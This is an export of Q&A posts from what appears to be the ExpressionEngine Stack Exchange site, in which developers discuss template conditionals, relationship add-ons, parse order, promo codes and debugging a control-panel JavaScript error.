  <row Id="1566" PostTypeId="2" ParentId="1527" CreationDate="2012-12-13T12:59:30.663" Score="1" Body="&lt;p&gt;It does depend on what sort of changes you're making, but one possibility is to connect to the staging or production database from your local installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the advantage of giving you access to all the latest data that's been created by clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it also means that you might be editing templates on a live site. If you're working on completely new sections with new template groups, or new templates within existing groups, this isn't such a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you're doing work that involves structural changes to database tables, then this isn't really an option. Like I said at the start: it all depends on what sort of updates you need to make.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-13T12:59:30.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1567" PostTypeId="2" ParentId="1320" CreationDate="2012-12-13T13:00:45.580" Score="1" Body="&lt;p&gt;Why not just wrap the output in a find and replace addon such as LowReplace or any of the others found here:&#xA;&lt;a href=&quot;http://devot-ee.com/search/results?keywords=find+and+replace&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/search/results?keywords=find+and+replace&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="520" LastActivityDate="2012-12-13T13:00:45.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1568" PostTypeId="2" ParentId="1107" CreationDate="2012-12-13T13:04:23.697" Score="0" Body="&lt;p&gt;I don't have any experience of this myself, but came across &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1520/expressionengine-with-backbone&quot;&gt;this question&lt;/a&gt; asking about Backbone which links to an EE site with filtering that sounds similar to what you're talking about.&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-12-13T13:04:23.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1569" PostTypeId="2" ParentId="1502" CreationDate="2012-12-13T13:27:48.313" Score="5" Body="&lt;p&gt;I think I found it in the Code-Snippets in &lt;code&gt;mod.forum.php&lt;/code&gt; starting at line ~1770 &lt;code&gt;// Is this a forum view?&lt;/code&gt; AND the snippet starting at line ~1810 &lt;code&gt;// Is this the thread view?&lt;/code&gt; … just delete or comment-out the code starting with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$crumbs .= $this-&amp;gt;_crumb_trail(&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… where you find &lt;code&gt;forum_path('/viewcategory…&lt;/code&gt; inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the crumb with the Category in it. If you comment-out the two, you don't have the Category anymore in the &lt;code&gt;/viewforum&lt;/code&gt; and &lt;code&gt;/viewthread&lt;/code&gt; views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search for other references if you want to get rid of it also on other views.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2012-12-13T13:27:48.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1570" PostTypeId="1" AcceptedAnswerId="1573" CreationDate="2012-12-13T13:38:10.660" Score="1" ViewCount="452" Body="&lt;p&gt;I'm looping through my entries, and I want to check if my entry has a certain entry as his playa parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm using this code, which works, &lt;strong&gt;but I'm wondering if it can be done without PHP.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;project&quot;}&#xA;    &amp;lt;?php $hasParent = false; ?&amp;gt;&#xA;&#xA;    {project_categorie}&#xA;      {if segment_2 == url_title}&#xA;        &amp;lt;?php $hasParent = true; ?&amp;gt;&#xA;      {/if}&#xA;    {/project_categorie}&#xA;&#xA;    &amp;lt;?php if($hasParent){ echo &quot;wooptidoo&quot;; }?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so, this runs through my playa related entries, checks to see if the url_title matches my quert ( segment_2 in this case ) and displays this &lt;strong&gt;once&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example of this functionality would be: checking to see if you entry is in a certain category. f.ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;project&quot;}&#xA;    &amp;lt;?php $isInCategory = false; ?&amp;gt;&#xA;&#xA;    {categories}&#xA;      {if segment_2 == category_url_title}&#xA;        &amp;lt;?php $isInCategory = true; ?&amp;gt;&#xA;      {/if}&#xA;    {/categories}&#xA;&#xA;    &amp;lt;?php if($isInCategory){ echo &quot;wooptidoo&quot;; }?&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can this be done without having to use PHP ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;br/&gt;&#xA;&lt;strong&gt;EDIT:&lt;br/&gt;&#xA;--------------------&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I have not idea why I didn't think of this before, but this works perfectly..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;project&quot;}&#xA;    {project_categorie}&#xA;      {if segment_2 == url_title}&#xA;        wooptidoo&#xA;      {/if}&#xA;    {/project_categorie}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;stuuupid. :)&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2012-12-13T14:24:38.410" LastActivityDate="2012-12-13T14:24:38.410" Title="check if an entry has a certain playa parent" Tags="|ee2|categories|php|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1571" PostTypeId="1" CreationDate="2012-12-13T13:54:04.530" Score="2" ViewCount="346" Body="&lt;p&gt;In my control panel, I am getting a bunch of javascript errors, starting with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refused to execute a JavaScript script. Source code of script found within request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read something about XSS filters and attacks - &lt;a href=&quot;https://stackoverflow.com/questions/1547884/refused-to-execute-a-javascript-script-source-code-of-script-found-within-reque/1547887#1547887&quot;&gt;https://stackoverflow.com/questions/1547884/refused-to-execute-a-javascript-script-source-code-of-script-found-within-reque/1547887#1547887&lt;/a&gt; - I'm not sure how to debug the problem.&lt;img src=&quot;https://i.stack.imgur.com/7PrxC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="461" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2012-12-13T16:41:57.290" Title="Refused to execute a JavaScript script. Source code of script found within request" Tags="|control-panel|javascript|xss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1572" PostTypeId="2" ParentId="1570" CreationDate="2012-12-13T14:00:50.697" Score="0" Body="&lt;p&gt;Take a look at my new free add-on. It's not 100% ready for prime time, but that method should work. I do stuff like that all the time. Let me know if there are methods missing that you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://objectivehtml.com/entries&quot; rel=&quot;nofollow&quot;&gt;http://objectivehtml.com/entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit... Not 100% sure those methods exist currently, but here would be a good proposed API.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:entries:has_parent_category entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;    {if no_results}&#xA;        This does not belong to parent category&#xA;    {/if}&#xA;&#xA;{/exp:entries:has_parent_category}&#xA;&#xA;{exp:entries:in_category entry_id=&quot;{entry_id}&quot;}&#xA;    {if no_results}&#xA;        This does not belong to category&#xA;    {/if}&#xA;{/exp:entries:in_category}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-13T14:00:50.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1573" PostTypeId="2" ParentId="1570" CreationDate="2012-12-13T14:03:47.423" Score="1" Body="&lt;p&gt;You can check if an entry has a parent with the &lt;code&gt;{exp:playa:parents}&lt;/code&gt; tag, it accepts all the channel entries parameters also. Something like this could work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;project&quot;}&#xA;    {exp:playa:parents channel=&quot;channel&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        wooptidoo&#xA;        {if no_parents} ... {/if}&#xA;    {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also use a addon like Low's Seg2Cat to filter the entries even more:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;channel&quot; category=&quot;{segment_2_category_id}&quot; &quot;entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-12-13T14:13:22.393" LastActivityDate="2012-12-13T14:13:22.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1574" PostTypeId="1" AcceptedAnswerId="1577" CreationDate="2012-12-13T14:35:47.987" Score="1" ViewCount="666" Body="&lt;p&gt;I'm currently working on a template that uses multiple channels (ie. &lt;code&gt;channel=&quot;channel1|channel2&quot;&lt;/code&gt; to show content. Each channel has a different field group–so I'm conditionally nesting each groups fields within &lt;code&gt;if&lt;/code&gt; statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;   channel=&quot;channel1|channel2&quot;&#xA;   disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;   dynamic=&quot;no&quot;&#xA;   limit=&quot;1&quot;&#xA;   require_entry=&quot;yes&quot;&#xA;   url_title=&quot;{last_segment}&quot;&#xA;}&#xA;{if channel_id == 1}&#xA;   ...&#xA;{/if}&#xA;&#xA;{if channel_id == 2}&#xA;   ...&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there are any drawbacks to this? &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-13T16:53:56.230" Title="A Template that uses multiple channels with different field groups" Tags="|channel-entries|performance|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1575" PostTypeId="2" ParentId="857" CreationDate="2012-12-13T14:39:30.980" Score="1" Body="&lt;p&gt;I worked with Nico (Zoo) &amp;amp; Manuel (DevDemon) to isolate the issue. The problem was with &lt;a href=&quot;http://www.devdemon.com/editor/&quot; rel=&quot;nofollow&quot;&gt;Editor&lt;/a&gt; and the &lt;code&gt;cp_css&lt;/code&gt; extension hook it was using which cause a PHP error in the CSS. Manuel patched and should be in the next release.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-13T14:39:30.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1576" PostTypeId="1" AcceptedAnswerId="1578" CreationDate="2012-12-13T14:50:08.947" Score="4" ViewCount="220" Body="&lt;p&gt;The relationship feature in ExpressionEngine is fantastic, but quite difficult to manage if a relation points to a channel with hundreds of entries. In said case, the control panel's select/option form element is inadequate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a add-on that allows to set up a relation through an auto-complete text input field, while honoring the ee-native relation fieldtype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the Playa plugin address this issue?&lt;/p&gt;&#xA;" OwnerUserId="399" LastActivityDate="2013-01-24T23:31:20.547" Title="Related entries: Auto-complete input instead of select/option?" Tags="|add-on|ee2|control-panel|playa|relationships|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1577" PostTypeId="2" ParentId="1574" CreationDate="2012-12-13T14:56:49.100" Score="5" Body="&lt;p&gt;Unless the formatting is very different between the two, you don't need to use the &lt;code&gt;{if}{/if}&lt;/code&gt; statement. If the formatting is basically the same, I believe you can stack them like &lt;code&gt;{news_content}{book_content}&lt;/code&gt; the fields not related to the entry won't display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I use the {if}{/if} approach when the format needs to be handled differently. There's a performance hit (more queries), but it shouldn't be too much.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-13T14:56:49.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1578" PostTypeId="2" ParentId="1576" CreationDate="2012-12-13T14:58:44.527" Score="3" Body="&lt;p&gt;Playa can solve this. It hasn't got an autocomplete function, &#xA;but it offers &lt;strong&gt;filtering-as-you-type&lt;/strong&gt; and &lt;strong&gt;searching&lt;/strong&gt;: &lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o23dw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As solution to the problem of selecting amongst hundreds of entries, this approach is &lt;strong&gt;functionally aequivalent&lt;/strong&gt; to an autocompleting text-entry field.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="252" LastEditDate="2013-01-24T23:31:20.547" LastActivityDate="2013-01-24T23:31:20.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1579" PostTypeId="1" CreationDate="2012-12-13T15:38:32.777" Score="2" ViewCount="75" Body="&lt;p&gt;I'm considering purchasing &lt;a href=&quot;https://exp-resso.com/store&quot; rel=&quot;nofollow&quot;&gt;Store by Exp:resso&lt;/a&gt; in order to use the discount feature for client project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if the discount value can have the characters normally used in an email address. Can a discount code be equal to test@email.com or is it randomly generated by software?&lt;/p&gt;&#xA;" OwnerUserId="611" LastEditorUserId="104" LastEditDate="2012-12-14T10:24:06.390" LastActivityDate="2012-12-14T10:24:06.390" Title="Can I use an email address as a discount code in Expresso Store?" Tags="|ecommerce|expresso-store|expresso|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1580" PostTypeId="1" AcceptedAnswerId="1585" CreationDate="2012-12-13T16:13:21.293" Score="4" ViewCount="628" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;noreferrer&quot;&gt;Mo' Variables&lt;/a&gt; for the early-parsed request variables. Here is the best-case scenario:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    date_range_start=&quot;{if get:start}{get:start}{if:else}today{/if}&quot;&#xA;    date_range_end=&quot;{if get:end}{get:end}{if:else}6 months{/if}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This obviously doesn't work do to &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;noreferrer&quot;&gt;advanced conditionals&lt;/a&gt; being parsed late (sigh). So here is the workaround I thought might work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;   date_range_start=&quot;{if get:start != ''}{get:start}{/if}{if get:start == ''}today{/if}&quot;&#xA;   date_range_end=&quot;{if get:end != ''}{get:end}{/if}{if get:end == ''}6 months{/if}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't work either. After doing a bit of debugging, it appears that the conditionals are not being parsed. My guess is that this is because there is no query string variable called &quot;start&quot; when the user first visits the page so the template parser doesn't find the conditional until later in the parse order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can make this work with PHP, but I'd love to have a pure EE solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;   date_range_start=&quot;&amp;lt;?= !empty($_GET['start']) ? $_GET['start'] : 'today' ?&amp;gt;&quot;&#xA;   date_range_end=&quot;&amp;lt;?= !empty($_GET['end']) ? $_GET['end'] : '6 months' ?&amp;gt;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is this: &lt;strong&gt;is there an elegant solution to---without using PHP in my template---get the value of a request variable and if it doesn't exist use some default value?&lt;/strong&gt; There must be some trick I'm not seeing to make this work. I don't think using &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;noreferrer&quot;&gt;Switchee&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;noreferrer&quot;&gt;IfElse&lt;/a&gt; will be elegant here. It will work, but it would look really janky and make the calendar module tag hard to read. I'll concede defeat and drop down to PHP before doing that.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2012-12-13T16:48:18.477" Title="Using Mo' Variables in Module Tag Parameters" Tags="|templates|conditionals|parse-order|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1581" PostTypeId="2" ParentId="1576" CreationDate="2012-12-13T16:24:27.027" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Playa&lt;/strong&gt;&lt;/a&gt; is what you need. It takes native entry relationships to the next level. It does have live filtering/autocomplete now. It creates a new table to store the relationships and I'm 99% sure will convert over your existing relationships when you change the fieldtype to Playa. You'll want to either confirm this with Pixel &amp;amp; Tonic or test on your own. Make a backup before testing obviously.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CdtGu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-13T17:51:44.160" LastActivityDate="2012-12-13T17:51:44.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1582" PostTypeId="2" ParentId="1574" CreationDate="2012-12-13T16:27:47.077" Score="2" Body="&lt;p&gt;The performance hit is minimal and nothing to worry about IMO. Using the conditionals as you have them coded is the way to do what you're trying to do in the template.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-13T16:27:47.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1583" PostTypeId="2" ParentId="1574" CreationDate="2012-12-13T16:38:26.073" Score="3" Body="&lt;p&gt;If you are worried about the performance hit I would recommend using &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt; by Mark Croxton. It's basically conditionals on steroids because it only parses content if the conditional is met, unlike the baked in conditionals which parse everything and then only display it if the conditional is met.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-13T16:38:26.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1584" PostTypeId="2" ParentId="1571" CreationDate="2012-12-13T16:41:57.290" Score="1" Body="&lt;p&gt;First, start by making sure the jQuery module is installed on the Module page.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Next, try disabling EE's XSS sanitizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PE5fW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/efweQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then, I'd disable Extensions by adding this to your config.php file or by changing the config to &quot;n&quot; if it already exists in config.php.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$conf['allow_extensions'] = &quot;n&quot;;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will eliminate code in one of the extensions as part of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If disabling Extensions eliminates the error, then you know it's one of the installed Extensions and you can start uninstalling them one by one to determine which extensions. Note: When you uninstall an extension you will lose any data/settings associated with it so a backup is in order if you don't want to reset up Extension settings when you reinstall.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-13T16:41:57.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1585" PostTypeId="2" ParentId="1580" CreationDate="2012-12-13T16:48:18.477" Score="2" Body="&lt;p&gt;One option is to set your Mo' Variables and pass them to an embedded template where you loop through your calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed='embeds/_calendar' &#xA;    start=&quot;{if get:start != ''}{get:start}{/if}{if get:start == ''}today{/if}&quot; &#xA;    end=&quot;{if get:end != ''}{get:end}{/if}{if get:end == ''}6 months{/if}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in your embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal&#xA;    date_range_start=&quot;{embed:start}&quot;&#xA;    date_range_end=&quot;{embed:end}&quot;&#xA;}&#xA;    {!-- calendar stuff here --}&#xA;{/exp:calendar:cal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-12-13T16:48:18.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1586" PostTypeId="2" ParentId="1574" CreationDate="2012-12-13T16:53:56.230" Score="3" Body="&lt;p&gt;Judging from you have limit set to 1 and using the last_segment url title I am assuming this is just a detail page for one item and not a full listings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the channel_id as above and use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt;  or &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifelse&lt;/a&gt; if the field groups are all completely different and have different case blocks for each channel. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:switchee variable = &quot;channel_id&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;12&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if the majority of the fields are shared and only a small amount of unique fields per different channel field group and you still want to use separate field groups you can use stash to prefix the field based on channel (to use a standard formatting but to swap to unique fields). Mark Croxton submitted this example &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/7925&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {stash:embed file_name=&quot;product_loop&quot; name=&quot;product_loop_{segment_2}&quot; replace=&quot;yes&quot; process=&quot;end&quot;}&#xA;    {exp:stash:set_list name=&quot;products&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;{segment_1}&quot;}&#xA;    {exp:stash:set name=&quot;channel&quot;}{channel_short_name}{/exp:stash:set}&#xA;    {!-- set ALL your product fields here--}&#xA;    {exp:stash:set name=&quot;channel1_price&quot;}{channel1_price}{/exp:stash:set}&#xA;    {exp:stash:set name=&quot;channel2_price&quot;}{channel2_price}{/exp:stash:set}&#xA;&#xA;    {stash:this_product_price}{exp:stash:get name=&quot;{channel_short_name}_price&quot;}    {/stash:this_product_price}&#xA;    {/exp:channel:entries}&#xA;    {/exp:stash:set_list}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that situation through since most of the fields were similar it made more since (thanks to Mark's comments) to just use one fields group and hide the ones that do not pertain to that channel in the admin to alleviate extra conditionals like above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how your URL structure is before the last segment but for cat listings pages I have a separate template group (so the cat short name is always the first segment for listings pages) that shares one standard view. Then one standard detail page (not related to cat, just product/product-name) that will then use the Switchee similar to above to display the custom fields based on channel.&lt;/p&gt;&#xA;" OwnerUserId="601" LastActivityDate="2012-12-13T16:53:56.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1588" PostTypeId="1" CreationDate="2012-12-13T17:10:02.977" Score="-2" ViewCount="95" Body="&lt;p&gt;What is ExpressionEngine's latest position regarding their release cycle. Is there a public policy we can follow and hold them to?&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2012-12-13T17:54:55.780" Title="What is ExpressionEngine's release cycle?" Tags="|untagged|" AnswerCount="1" CommentCount="2" ClosedDate="2012-12-13T18:02:19.607" ContentLicense="CC BY-SA 3.0" />
  <row Id="1589" PostTypeId="2" ParentId="1588" CreationDate="2012-12-13T17:54:55.780" Score="2" Body="&lt;p&gt;The last we were told was 12 weeks but at this point you can't hold EL to much at all regarding internal operations.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2012-12-13T17:54:55.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1590" PostTypeId="2" ParentId="1579" CreationDate="2012-12-13T18:03:57.343" Score="1" Body="&lt;p&gt;Promo codes in Store by Exp:resso are set manually by you. I've tested that you can indeed use an email address as a code. Screenshot below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/image/0q070i1f2o0y&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/0q070i1f2o0y&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2012-12-13T18:03:57.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1591" PostTypeId="2" ParentId="1557" CreationDate="2012-12-13T18:08:14.783" Score="1" Body="&lt;p&gt;Have you tried changing the custom field &quot;Default Text Formatting&quot; to 'None' in the custom field settings?&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2012-12-13T18:08:14.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1592" PostTypeId="1" AcceptedAnswerId="1600" CreationDate="2012-12-13T18:15:27.203" Score="7" ViewCount="620" Body="&lt;p&gt;We would like to set something up so that when we publish a new article (channel entry) to our site it also creates a post on our Facebook page. What solutions are people using for this? I found &lt;a href=&quot;http://devot-ee.com/add-ons/social-update&quot;&gt;the Social Update add-on on devot:ee&lt;/a&gt;, are you using this, a different add-on, or some other method?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2012-12-15T23:32:18.667" Title="Auto-post to Facebook when a channel entry is published" Tags="|add-on|channel-entries|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1593" PostTypeId="2" ParentId="1579" CreationDate="2012-12-13T18:29:39.387" Score="0" Body="&lt;p&gt;You shouldn't have a problem entering an email address as a promo code but you might need to increase the database column length. Currently it is set to 20 characters which might not be long enough to be reliable for email address (mine for example would exceed the character limit). You can see the documentation for creating PromoCodes &lt;a href=&quot;https://exp-resso.com/docs/store/settings/promo_codes.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-13T18:29:39.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1594" PostTypeId="1" CreationDate="2012-12-13T18:42:27.610" Score="2" ViewCount="160" Body="&lt;p&gt;I am using Assets to manage some of the images on my site. The CP loads as expected and nothing is too out of the ordinary. I have 196MB RAM set in PHP.ini and on a VPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on an assets folder, the more images I have in there the longer it takes to load, which isnt so far-fetched, but it is taking around 2 minutes to load a folder with about 60 images in it. That same folder locally takes &amp;lt; 5 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be causing this? Here is a screenshot of a XHR report.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qvSbK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2012-12-17T18:29:22.470" Title="Why are my P&amp;T Assets folders taking 2 minutes to load?" Tags="|assets|loading-time|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1595" PostTypeId="2" ParentId="1592" CreationDate="2012-12-13T18:43:56.907" Score="3" Body="&lt;p&gt;I know that &lt;a href=&quot;http://devot-ee.com/add-ons/social-login-pro&quot; rel=&quot;nofollow&quot;&gt;Social Login Pro&lt;/a&gt; allows you to do this among many other features the only thing I think that might be a problem for you that it would want to post the article to the Authors Facebook page instead of a page for the entire site as it requires the user links their Facebook account to their EE member account.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-13T18:43:56.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
